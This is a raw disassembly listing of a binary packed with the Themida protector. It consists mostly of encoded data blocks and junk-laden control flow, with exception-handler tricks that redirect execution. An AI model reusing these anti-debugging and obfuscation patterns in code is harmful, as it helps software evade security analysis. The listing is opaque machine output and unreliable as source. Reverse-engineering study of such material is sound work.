		dd 59CBC355h, 0F186BD9Dh, 16C59D89h, 0BD8D0614h, 61418F1h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 33C35646h
		dd 188F0Fh, 13E90000h, 9B000000h, 91FF1754h, 2A928047h
		dd 0A672B00Ch, 3EE6A774h, 6AAD4E78h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1C042444h, 40000000h, 7F2DC350h
		dd 3A087D06h, 81756AF4h, 24247Ch, 0F100000h, 0D287h, 6D8D8900h
		dd 9006141Ah, 12BB6660h, 0F506168h, 1A86h, 11E96000h, 0CD000000h
		dd 679BDFD5h, 86D45A8Fh, 0A2CE597Ah, 1535A932h,	9061FB8Bh
		dd 9099D31h, 448B0614h,	6A2824h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1C0424h, 50400000h, 2C6EF4C3h, 0E891062Bh
		dd 860F0254h, 6, 20FD9509h, 0E9900614h,	0Eh, 65F96500h
		dd 0E8EB1968h, 915C0A3Eh, 0F500266h, 0E8Dh, 50525000h
		dd 5A310F52h, 60310F58h, 90585A61h, 30F98531h, 858D0614h
		dd 61752ABh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 17h,	4AC35545h, 0FCC61C7h, 687h, 39958900h, 0FF06140Eh
		dd 118589D0h, 3061417h,	6A242444h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 14042444h, 43000000h, 911C353h
		dd 141A5DB5h, 95950906h, 0F06140Bh, 1984h, 0BB666000h
		dd 0EE9074Dh, 3000000h,	0AC0A2EB2h, 953D8496h, 967AD5A6h
		dd 0E9AB616Ah, 0Ch, 0E7604EB4h,	75612EEBh, 9A5281C6h, 0FA81h
		dd 820F0001h, 764h, 0E857006Ah,	3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Ah, 0F3C35747h, 0F11854CEh, 8B606C27h, 140F71BDh
		dd 0D9958B06h, 6106140Eh, 9D9BD8Dh, 6A0614h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 8DDFF7C3h
		dd 5BE270ADh, 6AADFCh, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1A0424h, 53430000h, 0BCB760C3h, 6B4BC4ABh, 247C81F8h
		dd 24h,	0C6870F10h, 0E9000000h,	9, 0FE7CE4EAh, 43BA0BFCh
		dd 50609042h, 0D08B6652h, 0EE9310Fh, 0C3000000h, 54AC3008h
		dd 6DFC88B6h, 0F81CDB0h, 66585A27h, 613D25BBh, 0A870F50h
		dd 0E9000000h, 5, 0DC86DEDAh, 6A90FFh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1C0424h, 57470000h, 8CD0C3h, 49E0A71Eh
		dd 448BE34Eh, 50F92824h, 6E860h, 0A0650000h, 2D71E0FFh
		dd 50585E56h, 830F52h, 0F000000h, 0C38B6631h, 8961585Ah
		dd 870F2404h, 1, 0AB858DFCh, 6A061752h,	3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 14042444h, 46000000h, 892DC356h
		dd 14253185h, 89D0FF06h, 142E2195h, 24440306h, 0F90F524h
		dd 128Fh, 0F525000h, 8Eh, 50310F00h, 5A310F52h,	50585A58h
		dd 3920B960h, 90614DB5h, 0E852006Ah, 3,	5AC35A20h, 4245489h
		dd 4244481h, 14h, 0EBC35242h, 0A99501ABh, 0F906141Ch, 381BD8Dh
		dd 6A0614h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h
		dd 52420000h, 1CAEBFC3h, 615B5360h, 9E9ADh, 0C00000h, 8FFA97C2h
		dd 8191D5B7h, 28247Ch, 0F100000h, 0DB87h, 8E900h, 974A0000h
		dd 3704BAB2h, 0F506BE3h, 1286h,	0F525000h, 86h,	0F310F00h
		dd 86h,	89585A00h, 89602404h, 141C618Dh, 0F9BE6606h, 448B61BCh
		dd 9D892C24h, 6140F05h,	19958B60h, 0F06142Ch, 681h, 8D0F00h
		dd 61000000h, 8F0F6090h, 2, 0C68B6160h,	0AE95061h, 0B2000000h
		dd 0AB8A7EC0h, 493D509Ah, 666090C1h, 8166CA8Bh,	619F38DAh
		dd 52AB858Dh, 6A0617h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1B0424h, 56460000h, 1FB685C3h, 838CA18Ch, 6860FC4h
		dd 9000000h, 1426619Dh,	6AD0FF06h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 16042444h, 41000000h, 0C59FC351h
		dd 5E9F893h, 0CB000000h, 4FE862B4h, 28244403h, 1CDB589h
		dd 0BD310614h, 61421B1h, 0BE9ABh, 21F60000h, 46834684h
		dd 3E21F040h, 8890F01h,	0F000000h, 288h, 5E616000h, 80C88DFFh
		dd 0BD830617h, 61780C8h, 330A7500h, 11B58DC0h, 0FF061790h
		dd 81AD56E6h, 28247Ch, 77100000h, 448B500Eh, 8D502C24h
		dd 1752AB85h
		dd 3D0FF06h, 97282444h,	858ADF8Bh, 61780C4h, 474C084h
		dd 4C75073Ah, 0AEC03257h, 2B5EFD75h, 33FC52FBh,	0D18B49C9h
		dd 0DB33C033h, 8AC132ACh, 8AEA8ACDh, 6608B6D6h,	0D166EBD1h
		dd 660973D8h, 66504135h, 5449F381h, 0EB75CEFEh,	0D333C833h
		dd 0F7D5754Fh, 8BD1F7D2h, 10C0C1C2h, 5AC18B66h,	0F74D03Bh
		dd 4C6835Eh, 2F585FFh, 5DE90614h, 5EFFFFFFh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 68C35545h, 9BF8AF61h
		dd 0F4402ABEh, 658D3178h, 6A061415h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 84B2C356h
		dd 16DC8F19h, 0FBA950A6h, 10E9h, 0BDC5200h, 0DB9D57DAh
		dd 94751F35h, 343E0AB0h, 0F5858B84h, 0E9061402h, 14h, 8C8EC367h
		dd 41E4C5E6h, 0A992995Fh, 9C5013D5h, 644A4E7Eh,	6AE0D1h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h
		dd 6660D6C3h, 2D2D781h,	1AADB58Bh, 60610614h, 0BFC3B70Fh
		dd 5C07781Eh, 81850361h, 0F061403h, 18Fh, 0F62BF800h, 1BA98509h
		dd 6A960614h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1C042444h, 46000000h, 0C980C356h, 0E25B53FFh, 1883A64h
		dd 1429A9B5h, 6AAD6606h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 16042444h, 41000000h, 4B7C351h, 68C0FD2h
		dd 1000000h, 1409E19Dh,	7D9D0106h, 0C1061406h, 6A02E0h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h
		dd 251C06C3h, 8A0F3C74h, 10h, 6E960h, 0C1150000h, 888CD8AFh
		dd 61C9DC80h, 8258589h,	0AE90614h, 24000000h, 3BC5B77Fh
		dd 598A5450h, 0F18503BEh, 6A061418h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 14042444h, 46000000h, 89B7C356h
		dd 141D058Dh, 6A9606h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 140424h, 50400000h, 0FC60A2C3h, 61C8EF80h, 0F6060ADh
		dd 8Dh,	5E900h,	4F8B0000h, 6183A299h, 228DB523h, 0F9610614h
		dd 24247C81h, 10000000h, 131870Fh, 6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 170424h, 53430000h, 1CF9EAC3h
		dd 0EE986h, 48E60000h, 23118594h, 0F476A196h, 7AD9A86h
		dd 6E86050h, 83000000h,	6A9457BBh, 0F525095h, 5A585A31h
		dd 8CB35250h, 0F78B310Fh, 8961585Ah, 85892404h,	614067Dh
		dd 24448BF8h, 56006A28h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1D04h, 0C3564600h, 0DA0BDC52h, 35DB9D57h, 850F751Fh
		dd 6, 2AA58501h, 8E90614h, 43000000h, 0BBE1DA65h, 50F02C2Dh
		dd 0EE95250h, 6E000000h, 520E6FAFh, 25BE1C91h, 7CCBE80Eh
		dd 60310F97h, 5A6154B2h, 24048958h, 0E853006Ah,	3, 5BC35B20h
		dd 4245C89h, 4244481h, 16h, 89C35343h, 14E9DD67h, 0E8000000h
		dd 0DA6D8E72h, 0EBEDEE59h, 638B77Ch, 2D7BB8D0h,	0F95AAECh
		dd 683h, 65BD8900h, 0F5061406h,	52AB858Dh, 6A0617h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 180424h, 50400000h
		dd 0A6531CC3h, 6660D40Bh, 61F9D78Bh, 3F9D0FFh, 0E9242444h
		dd 8, 0DC440032h, 0D221BCB5h, 1C244489h, 0E853006Ah, 3
		dd 5BC35B20h, 4245C89h,	4244481h, 19h, 0DEC35343h, 7A5DAC87h
		dd 0B840F4Eh, 60000000h, 81C2BF0Fh, 0FEB20AE7h,	85C6611Eh
		dd 6141A59h, 9F85C700h,	61782h,	0C7000000h, 1780CC85h
		dd 6, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1504h, 0C3574700h, 0E9F5E8D1h, 9, 0A457CBF1h, 0D50E4830h
		dd 0FE96192h, 51000000h, 5A68553h, 0D6691C6Ah, 0FA881487h
		dd 8C23CBAh, 0B60F900h,	1417258Dh, 0A5B58B06h, 61061404h
		dd 18F1858Bh, 6A0614h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1B0424h, 50400000h, 0C46E3CC3h, 13B0F3ECh, 68C0F5Dh
		dd 89000000h, 142A6195h, 8D29F806h, 61403D1h, 0D26BF84Ah
		dd 0C203F504h, 6A96F9h,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 170424h, 53430000h, 2430F0C3h, 29B529F8h, 0AD061409h
		dd 0DE960h, 750E0000h, 561B6EBDh, 1CEF3682h, 66F0DEBCh
		dd 993BD681h, 247C8161h, 24h, 0CB870F10h, 6A000000h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h
		dd 0FCCEC350h, 118A0F50h, 0E9000000h, 0Ch, 0B25E8C46h
		dd 7D447F7Bh, 0B4887ECEh, 89240489h, 1405F98Dh,	24448B06h
		dd 4D858928h, 0F06141Ch, 68Fh, 0E9B58900h, 50061421h, 13810Fh
		dd 0EE90000h, 8E000000h, 1E7A8D5Ah, 0E14228F9h,	4705D553h
		dd 24048974h, 1800Fh, 8DFC0000h, 1752AB85h, 50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1A04h, 0C3504000h
		dd 779422F9h, 0F3CD558h, 18Dh, 0D0FFF900h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 8FC35141h, 92EAF28Fh
		dd 0E8E9209Ch, 6AFFFFFDh, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1C042444h, 43000000h, 0CB94C353h,	4F9C4F68h
		dd 0E971B9A0h, 6, 353DE431h
		db 41h,	3Eh
; ---------------------------------------------------------------------------


loc_581E26:				; CODE XREF: Themida_:loc_580CAFj
		lea	eax, [ebp+6179623h]
		push	0
		push	eax
		call	sub_581E37
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_581E37	proc near		; CODE XREF: Themida_:00581E2Fp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 16h
		inc	eax
		push	eax
		retn
sub_581E37	endp

; ---------------------------------------------------------------------------
		stc
		xchg	eax, edx
		leave
		jz	loc_581E6D
		pusha
		jo	$+6
		jmp	loc_581E6C
; ---------------------------------------------------------------------------
		dd 28807D4Eh, 3A52E133h, 0D7DE8DF6h, 3D6B4A8Fh
; ---------------------------------------------------------------------------


loc_581E6C:				; CODE XREF: Themida_:00581E57j
		popa


loc_581E6D:				; CODE XREF: Themida_:00581E4Aj
		push	eax
		jno	loc_581E87
		pusha
		jmp	loc_581E81
; ---------------------------------------------------------------------------
		dec	edx
		add	[ebp+ebx*8-75h], ch
		push	62h


loc_581E81:				; CODE XREF: Themida_:00581E75j
		mov	ecx, 7287CBA2h
		popa


loc_581E87:				; CODE XREF: Themida_:00581E6Ej
		mov	[esp], eax
		jl	loc_581E96
		mov	[ebp+6141A75h],	ebx


loc_581E96:				; CODE XREF: Themida_:00581E8Aj
		push	large dword ptr	fs:0
		push	0
		push	esi
		call	sub_581EA8
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_581EA8	proc near		; CODE XREF: Themida_:00581EA0p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Ch
		inc	esi
		push	esi
		retn
sub_581EA8	endp

; ---------------------------------------------------------------------------
		scasb
		test	eax, 775F8B9h
		lahf
		and	al, 89h
		cld
		mov	eax, [esp]
		push	0
		push	ebx
		call	sub_581ED0
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_581ED0	proc near		; CODE XREF: Themida_:00581EC8p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 15h
		inc	ebx
		push	ebx
		retn
sub_581ED0	endp

; ---------------------------------------------------------------------------
		and	[ebp+1CB18589h], cl
		adc	al, 6
		push	0
		push	ebp
		call	sub_581EF3
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_581EF3	proc near		; CODE XREF: Themida_:00581EEBp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 15h
		inc	ebp
		push	ebp
		retn
sub_581EF3	endp

; ---------------------------------------------------------------------------
		db 0D8h
; ---------------------------------------------------------------------------
		pop	esp
		jno	loc_581F0C
		cmc


loc_581F0C:				; CODE XREF: Themida_:00581F05j
		mov	large fs:0, esp
		push	0
		push	eax
		call	sub_581F1E
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_581F1E	proc near		; CODE XREF: Themida_:00581F16p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 17h
		inc	eax
		push	eax
		retn
sub_581F1E	endp

; ---------------------------------------------------------------------------
		dw 0AC38h
		dd 8A0F0B1Ch, 0Ah, 5E9h, 0F4C6EE00h, 8DFC64D6h,	1793AF85h
		dd 0B5296006h, 6142089h, 608961F9h, 0F8D0F01h, 0E9000000h
		dd 0Ah,	7A30867Ah, 0F12FA7A3h, 0C0E9210Ch, 60000002h, 89F78B66h
		dd 1421BDBDh, 85896106h, 6140F19h, 0E8DB8Bh, 5D000000h
		dd 93A8ED81h, 9CBC0617h, 830012FFh, 1403D9BDh, 18740006h
		dd 2D01858Bh, 0C60614h,	0F1858B00h, 0C6061434h,	95FF0000h
		dd 6142EF9h, 0D0B5FF60h, 8D06177Ch, 177CD485h, 858D5006h
		dd 6177ECCh, 995FF50h, 83061415h, 0E9610CC4h, 0Fh, 7F1C609Dh
		dd 0C9F0B87Fh, 0BF15DF0Fh, 29C28017h, 140D2D85h, 8800F06h
		dd 60000000h, 24259D89h, 8D610614h, 177ECCB5h, 50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1604h, 0C3504000h
		dd 0E9A37859h, 12h, 5DBC7121h, 3ABBC88Ah, 0F6BC74A5h, 10CCC7AFh
		dd 0BD8DF974h, 6141DB5h, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 1Dh, 0F6C35646h, 77442952h, 56BCD408h, 9E9ADh
		dd 342E0000h, 0BCD0CA34h, 80733332h, 840F003Eh,	23h, 6850Fh
		dd 95890000h, 61400E5h,	0DBD31A4h, 0E906142Eh, 0FFFFFFDFh
		dd 1D852B60h, 66061420h, 0B861C68Bh, 0
; ---------------------------------------------------------------------------
		push	0
		push	edx
		call	sub_5820AB
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5820AB	proc near		; CODE XREF: Themida_:005820A3p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Dh
		inc	edx
		push	edx
		retn
sub_5820AB	endp

; ---------------------------------------------------------------------------
		db 3Eh
; ---------------------------------------------------------------------------
		push	ebp
		mov	cl, 11h
		mov	bh, 37h
		mov	esp, 9E6362Bh
		lea	ecx, [ecx-55F9EBF4h]
		push	0
		push	ebx
		call	sub_5820D7
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5820D7	proc near		; CODE XREF: Themida_:005820CFp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Ch
		inc	ebx
		push	ebx
		retn
sub_5820D7	endp

; ---------------------------------------------------------------------------
		db 66h
		dd 0F9955E39h, 827BB7B5h, 0C8D0Fh, 800F0000h, 6, 309DBD89h
		dd 7B80614h, 6A000000h,	3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1D042444h, 47000000h, 1632C357h, 9B5602ACh
		dd 2313AE6Ch, 0FE9h, 16970E00h,	7481103Fh, 8FB9E6F8h, 0A387FB7Ch
		dd 14E9h, 0A24D1A00h, 685F3AFh,	0FFBC4DBh, 0A11C2271h
		dd 9818057Ch, 8185C767h, 1061431h, 6A000000h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 17042444h, 47000000h
		dd 45B6C357h, 0B529EAC2h, 6140569h, 4D798D8Dh, 6A0614h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h
		dd 60EEE6C3h, 820Fh, 0FF610000h, 52006AE1h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1704h,	0C3524200h, 0AD6E2CDh
		dd 11E9h, 0CF3EA700h, 0E8C2E340h, 19EFF9AFh, 5F2C6250h
		dd 13E973DAh, 55000000h, 0E0B65CE1h, 27E4738Eh,	7B549E9h
		dd 782D4F5Fh
; ---------------------------------------------------------------------------
		xlat
		stc


loc_582202:				; DATA XREF: Themida_:00549104o
					; Themida_:00549580o ...
		mov	ebx, [esp+0Ch]
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 617962Dh
		mov	eax, [ebx+0B8h]
		mov	[ebp+6177CD0h],	eax
		lea	eax, [ebp+61793A1h]
		mov	[ebx+0B8h], eax
		pop	ebp
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		add	[ebp+6142B91h],	edi
		mov	[ebp+614141Dh],	edi
		jmp	loc_582250
; ---------------------------------------------------------------------------
		movsb
		les	esi, [edx+6B91DB79h]
		xchg	eax, edx
		push	ebx
		pop	esp
		or	[ebx+24D08260h], al


loc_582250:				; CODE XREF: Themida_:0058223Bj
		add	[ebp+6140935h],	ecx
		pusha
		jg	loc_582263
		or	[ebp+614210Dh],	edx


loc_582263:				; CODE XREF: Themida_:00582257j
		lea	eax, [ebp+61797F6h]
		xor	[ebp+61416EDh],	ecx
		push	eax
		ja	loc_582289
		jmp	loc_582289
; ---------------------------------------------------------------------------
		db 14h
		dd 347A839Ah, 58804D60h, 2D76F864h
		db 0B9h
; ---------------------------------------------------------------------------


loc_582289:				; CODE XREF: Themida_:00582270j
					; Themida_:00582276j
		mov	[esp], eax
		jg	loc_582298
		or	[ebp+61418CDh],	eax


loc_582298:				; CODE XREF: Themida_:0058228Cj
		push	large dword ptr	fs:0
		push	0
		push	edi
		call	sub_5822AA
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5822AA	proc near		; CODE XREF: Themida_:005822A2p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 19h
		inc	edi
		push	edi
		retn
sub_5822AA	endp

; ---------------------------------------------------------------------------
		dw 0B44Ch
; ---------------------------------------------------------------------------
		std
		xor	[ebx-62760A41h], cl
		adc	eax, 64061421h
		mov	large ds:0, esp
		mov	[ebp+6140B69h],	edi
		lea	eax, [ebp+61798AFh]
		mov	[ebp+6141D15h],	ecx
		mov	[eax+1], esp
		push	0
		push	ebx
		call	sub_5822EE
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5822EE	proc near		; CODE XREF: Themida_:005822E6p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 17h
		inc	ebx
		push	ebx
		retn
sub_5822EE	endp

; ---------------------------------------------------------------------------
		adc	[ebp-0Ah], bl
		dec	esi
		mov	[ebp+6140985h],	edi
		jmp	loc_58231B
; ---------------------------------------------------------------------------
		db 2Fh,	53h, 4Bh
		dd 112D9EE8h, 3F0A331Bh
		db 64h,	81h, 40h
; ---------------------------------------------------------------------------


loc_58231B:				; CODE XREF: Themida_:00582308j
		mov	byte ptr [ebp+6141A59h], 4Fh
		mov	[ebp+61421BDh],	eax
		jp	loc_58233C
		pusha
		mov	eax, [ebp+61418ADh]
		mov	[ebp+61420CDh],	eax
		popa


loc_58233C:				; CODE XREF: Themida_:00582328j
		push	0AE7B2BA1h
		jle	loc_58234E
		pusha
		pusha
		popa
		mov	ax, di
		popa


loc_58234E:				; CODE XREF: Themida_:00582341j
		add	dword ptr [esp], 504D4889h
		push	0
		push	ebp
		call	sub_582360
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_582360	proc near		; CODE XREF: Themida_:00582358p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Dh
		inc	ebp
		push	ebp
		retn
sub_582360	endp

; ---------------------------------------------------------------------------
		shl	dword ptr [edx-5Dh], 1
		pop	esi
		pop	ebx
		xlat
		inc	edx
		xchg	cl, [eax+60h]
		adc	bl, 1Ah
		sub	dx, 6259h
		popa
		push	dword ptr [ebp+6141AD1h]
		push	0
		push	edi
		call	sub_582395
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_582395	proc near		; CODE XREF: Themida_:0058238Dp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 15h
		inc	edi
		push	edi
		retn
sub_582395	endp

; ---------------------------------------------------------------------------
		rcr	eax, cl
		mov	[ebp+61423D9h],	eax
		lea	eax, [ebp+61780DBh]
		pusha
		mov	esi, [ebp+6140D01h]
		mov	edx, [ebp+6140249h]
		popa
		call	eax
		mov	[ebp+6140D0Dh],	eax
		jmp	loc_58248E
; ---------------------------------------------------------------------------
		stc
		mov	[ebp+6141105h],	ecx
		mov	ebx, [esp+0Ch]
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 6179800h
		mov	eax, [ebp+6141145h]
		mov	[ebp+6141AD1h],	eax
		mov	eax, [ebp+6140931h]
		mov	[ebp+6142255h],	eax
		mov	eax, [ebp+6143481h]
		mov	[ebp+6140785h],	eax
		mov	byte ptr [ebp+6141A59h], 0
		mov	dword ptr [ebp+617829Fh], 0
		lea	eax, [ebp+61798AFh]
		mov	[ebx+0B8h], eax
		pop	ebp
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		push	0
		push	esi
		call	sub_582436
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_582436	proc near		; CODE XREF: Themida_:0058242Ep

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 14h
		inc	esi
		push	esi
		retn
sub_582436	endp

; ---------------------------------------------------------------------------
		dw 0F01h
		dd 18Ch, 6AF900h, 3E853h, 5B200000h, 5C895BC3h,	44810424h
		dd 150424h, 53430000h, 608BF5C3h, 198E0Fh, 13E80000h, 2B000000h
		dd 43015B88h, 0E0DE2CD3h, 0E388E366h, 2CAE4F0Ah, 8A59AF6Bh
; ---------------------------------------------------------------------------
		cli
		popa


loc_58248E:				; CODE XREF: Themida_:005823C9j
		mov	esp, 12FF74h
		mov	[ebp+6141585h],	edi
		pop	large dword ptr	fs:0
		push	0
		push	eax
		call	sub_5824AB
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5824AB	proc near		; CODE XREF: Themida_:005824A3p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Bh
		inc	eax
		push	eax
		retn
sub_5824AB	endp

; ---------------------------------------------------------------------------
		db 30h
		dd 6D24036Bh, 0FB58A08h, 880h, 2890F00h, 60000000h, 8D8B6061h
		dd 61413E9h, 4C48361h, 0FE9h, 0D1349100h, 81E7A637h, 7BAD8661h
		dd 0DB78A1C0h, 0EEE961h, 8BFB0000h, 5C9736E1h, 88838A05h
		dd 0A1D76A1h, 8FDD7A0Eh, 6D373353h, 3D557D2Fh, 0D57F2D77h
		dd 577DD77Dh, 0DF6DF73Dh, 0D773D575h, 0F73D577Dh, 75D55FEDh
		dd 6D373353h, 3D557D2Fh, 0D57F2D77h, 577DD77Dh,	0DF6D171Eh
		dd 20602075h, 0E0202060h, 0AC2060E0h, 0A9F77B68h, 0D020A1E4h
		dd 0EDA693B2h, 91B99DB7h, 20ACA3F2h, 20602060h,	0E0202060h
		dd 752060E0h, 0D0A3353h, 20557D2Fh, 20602060h, 2BA72860h
		dd 0C950F036h, 0EFB6F360h, 0E0F796A1h, 0B8E3A7B4h, 0B3F47192h
		dd 0F76DB9E9h, 2 dup(20602060h), 0DF6DF720h, 0D773351Ah
		dd 0F73D577Dh, 75D55FEDh, 6D373353h, 3D557D2Fh,	0D57F2D77h
		dd 577DD77Dh, 0DF6DF73Dh, 0D773D575h, 0F73D577Dh, 75D55FEDh
		dd 6D373353h, 1E357D2Fh, 7000E0Ah, 0A3D25D34h, 1E59A0h
		dd 2 dup(0)
; ---------------------------------------------------------------------------
		jmp	loc_5832E6
; ---------------------------------------------------------------------------
		push	6179C8Ch
		jmp	loc_5509FF
; ---------------------------------------------------------------------------
		push	6179D92h
		jmp	loc_5509FF
; ---------------------------------------------------------------------------
		push	6179E52h
		jmp	loc_5509FF
; ---------------------------------------------------------------------------
		push	6179F1Bh
		jmp	loc_5509FF
; ---------------------------------------------------------------------------
		push	6179FDDh
		jmp	loc_5509FF
; ---------------------------------------------------------------------------
		push	617A08Eh
		jmp	loc_5509FF
; ---------------------------------------------------------------------------
		push	617A1ECh
		jmp	loc_5509FF
; ---------------------------------------------------------------------------
		push	617A2E9h
		jmp	loc_5509FF
; ---------------------------------------------------------------------------
		push	617A3D4h
		jmp	loc_5509FF
; ---------------------------------------------------------------------------
		push	617A4A4h
		jmp	loc_5509FF
; ---------------------------------------------------------------------------
		push	617A565h
		jmp	loc_5509FF
; ---------------------------------------------------------------------------
		db 8Ah
		dd 3E1B6D52h, 0F9D62895h, 0B390E2D9h, 68459722h, 0C3FC4E6Fh
		dd 0A11CBBF5h, 5A5F724Fh, 12AD2B08h, 0C8F3E3C0h, 0DCE26A76h
		dd 580981F6h, 12A80F0Ah, 3E4BF7C4h, 47A2693h, 8C4AE2A0h
		dd 9301DD2Fh, 0BA9DA3EBh, 0C857E500h, 1FECF4A0h, 0B8945B7h
		dd 2AB38A68h, 5F8EE692h, 0E7398254h, 2693420Fh,	0E8F3227Ah
		dd 31171DEEh, 45580658h, 0A5516A68h, 711DB54Dh,	658482Bh
		dd 44066A58h, 0CCEDE8B5h, 0C244929Dh, 0A2FAA613h, 13E0B80Ah
		dd 299642C2h, 7F576291h, 5383903Ch, 0EF9B1EB3h,	0E153FF97h
		dd 0AF27DD7Dh, 0E97CBA0Ch, 15F8D981h, 595h, 8B4A172Ch
		dd 0FB2A822Eh, 2916E6F0h, 0EE1F0AD1h, 6A7723BBh, 3A074F6Ch
		dd 1E762297h, 9503DFEFh, 89BA1E9h, 7657E546h, 9E2F064Eh
		dd 0B9784759h, 0F93FA9D8h, 58067F17h, 597F4C22h, 0A5E53766h
		dd 0D957372Eh, 42C7F8h,	13DE0000h, 0E9B1F9A5h, 854CBA1Ch
		dd 296D9C34h, 57E50366h, 0CFEEE5B2h, 963F1CA0h,	0EFD5DB23h
		dd 3580602h, 519743DBh,	5806036Fh, 0A13A587Ah, 0F8D9D6C4h
		dd 0E6CCD29Ah, 0FA58060Eh, 213DA3D2h, 54000001h, 63494F17h
		dd 0E651F1E8h, 8B17183Ah, 3B6329FDh, 0E6D5010Ch, 13AA2D3Ah
		dd 2DD7FECBh, 0D27E16A5h, 0D4E14B7Ah, 0A971B902h, 0F259BDA3h
		dd 7AA9D151h, 38D30310h, 0F25A4C32h, 0EB386051h, 0D028D4E7h
		dd 0A819F038h, 0E78C89B3h, 0F8DEE42Ch, 0C51F2E0h, 8FA5B5E4h
		dd 51F2E4BCh, 0C008B323h, 2BD7E2F3h, 0B794A4D3h, 0E4F09C1Fh
		dd 21890B76h, 0EAA64A68h, 9B330A52h, 0C9D44ABBh, 393F4574h
		dd 57E527FEh, 563284ACh, 6979E8h, 0AE601688h, 9CC8CE16h
		dd 0AA5DFBBDh, 17C3FADDh, 596672BFh, 0CC9A62Ah,	9E11F7FDh
		dd 0FD255E1Dh, 0B885CD65h, 8E569E1Fh, 1D9DA288h, 482E345Eh
		dd 5C5E1D9Eh, 17466E34h, 51AD2A07h, 0E9631486h,	1DF7720h
		dd 38908E19h, 0CF182610h, 9E000009h, 522F813Eh,	0DEA3C81h
		dd 0C7A4F6C5h, 7C59AB0Eh, 0D710625Bh, 0B508CFE1h, 6E4B8663h
		dd 26993F1Ch, 0DCDFF7D4h, 0F0F67E8Ah, 5809840Ah, 12BC231Eh
		dd 0CEA6F8C5h, 3FEBD201h, 29ADB8E7h, 91684092h,	9E82E4A7h
